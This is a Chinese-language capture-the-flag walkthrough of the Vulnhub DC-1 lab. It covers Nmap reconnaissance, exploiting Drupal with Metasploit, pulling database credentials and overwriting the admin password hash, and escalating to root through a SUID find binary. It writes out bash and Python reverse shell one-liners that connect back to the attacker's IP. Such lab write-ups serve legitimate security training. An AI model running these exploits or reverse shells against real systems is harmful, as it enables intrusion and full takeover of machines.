Vulnhub-DC1

前言

一个比较简单的实战靶场,官方要求是找到/root下的flag,所以直接提权即可。但对于学习和训练来说还是太简略了,在打靶场的时候还是全面一些较好。

本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权,并找到官方设计的5个flag。

环境配置

虚拟机Kali:IP-192.168.232.140

DC-1靶场机:

官网下载 https://download.vulnhub.com/dc/DC-1.zip

将攻击机kali和vulhub靶机配置一个网卡即可!这里使用的都是NAT模式。

渗透过程

信息收集阶段

通过Nmap进行网段的存活主机的探测,以及端口的探测:

命令:nmap -sV -Pn 192.168.232.0/24

这里发现192.168.232.147 便是靶机的地址,开放的端口存在22 80 111端口,尝试访问80web服务:

这个界面现在来看是相当的熟悉了,还记得ISCC2023的实战题目就是这个Drupal的远程命令执行吧?

drupal是一个开源PHP管理系统,架构使用的是php环境+mysql数据库的环境配置。在Drupal 6.x,7.x,8.x系列的版本中,均存在远程代码执行漏洞。

MSF攻击

接下来我们尝试使用msf来进行攻击:

msfconsole
search drupal
use 1
set rhost 192.168.232.147
set lhost 192.168.232.140
run

接下来开启交互式shell

交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

我们可以看到当前的用户是www-data

python -c		//实际上-c代表着command的意思,可以再命令行中调用python代码
import pty;pty.spawn("/bin/bash")	//使用 python 的 pty 来转换为 交互式shell
也可以使用:"__import__('subprocess').call(['/bin/bash'])"

Linux机器信息收集

DNS配置文件

/etc/resolv.conf

系统用户配置文件

/etc/passwd

(这里发现了flag4 该文件的路径在/home/flag4)

影子文件

/etc/shadow			系统用户的密码信息

说是没有权限

查看进程

ps aux

发现数据库进程!

寻找flag

当前的目录下面存在着flag1.txt,但是说是需要寻找配置文件:

接下来就去查询了一下drupal的配置文件,说是有一个settings.php文件

之后定位到这个文件的路径:

发现了flag2的提示:他说"使用暴力破解和字典攻击并不是唯一获得权限的方式,你能用这些信息做什么?"

下面就是数据库的用户和密码了,那么我们就可以连接数据库了:

使用数据库的账号和密码来连接到数据库:

查看存在的数据库:(show databases;)

查看drupaldb数据库中存在哪些表:

发现了存在着user表。

这里经过查阅相关资料,两种方法可以重置密码:

  1. 在根目录下面的index.php中添加

    require_once 'includes/password.inc';
    require_once 'includes/bootstrap.inc';
    echo user_hash_password('123456');

这样就能在页面中显示123456加密后的密码。

  1. 定位到drupal根目录下
    1. 执行 script/password-hash.sh 密码 这样也是可以获取到加密后的密码的

之后有了加密的密码,便可以更新掉users表中的密码!

接下来就是去修改密码:

使用admin 123456 登录drupal:

Find content里面发现了还未发布的flag3!

提权

利用SUID提权

首先是查看哪些文件具有suid权限:

find / -perm -u=s -type f 2>/dev/null

首先查找一下find命令在哪里: which find

再检查一下find命令是否存在suid权限:ls -l /usr/bin/find

发现确实find命令是具有suid权限的。

最后使用find命令执行一下'whoami'发现是root权限:

touch getroot

find / -type f -name getroot -exec "whoami" \;

这里需要注意的是find 后面跟着的路径必须是存在的! 如果不存在的话 后面的exec就会报错,不会执行的

find /etc/passwd -exec "/bin/sh" \;

nc监听反弹shell

kali攻击机上执行 :nc -lvvp 6666

Msf中执行构建好的find命令:

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.232.140/6666 0>$1 \;

还可以通过python来反弹shell:

find /etc/passwd python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #反弹一个sh类型的shell

此时已经提权为root权限啦。

最终在root目录下,发现了最终的flag。

相关推荐
独行soc1 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw
南宫生2 小时前
力扣-图论-17【算法学习day.67】
java·学习·算法·leetcode·图论
sanguine__3 小时前
Web APIs学习 (操作DOM BOM)
学习
独行soc3 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
Clockwiseee4 小时前
php伪协议
windows·安全·web安全·网络安全
黑客Ash4 小时前
安全算法基础(一)
算法·安全
云云3214 小时前
搭建云手机平台的技术要求?
服务器·线性代数·安全·智能手机·矩阵
云云3215 小时前
云手机有哪些用途?云手机选择推荐
服务器·线性代数·安全·智能手机·矩阵
数据的世界015 小时前
.NET开发人员学习书籍推荐
学习·.net
xcLeigh5 小时前
网络安全 | 防火墙的工作原理及配置指南
安全·web安全